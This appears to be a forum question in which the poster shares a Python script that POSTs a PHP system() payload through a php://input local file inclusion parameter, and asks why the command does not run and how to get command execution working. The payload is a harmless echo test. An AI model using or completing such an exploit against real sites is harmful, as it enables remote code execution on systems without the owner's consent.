LFI php://input returning initial argument?

LFI php://input returning initial argument?

TLDR: Trying to execute commands on site thats got a LFI vuln.

So I am making my post request to my vulnerable site and

import requests
header = {
            'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201',
            'Accept-Language':'en-US;',
            'Accept-Encoding': 'gzip, deflate',
            'Accept': 'text/html,application/xhtml+xml,application/xml;',
            'Connection':'close'
}

command = "<? system(\"echo does this work\");?>"
requests.post("https://www.vulnsite.com/pog=php://input", headers=header, data=command)

then if i look at the actual response it returns: <? system("echo does this work");?>

why isn't it returning "does this work"? how can I get it to execute actual commands? what am I doing wrong?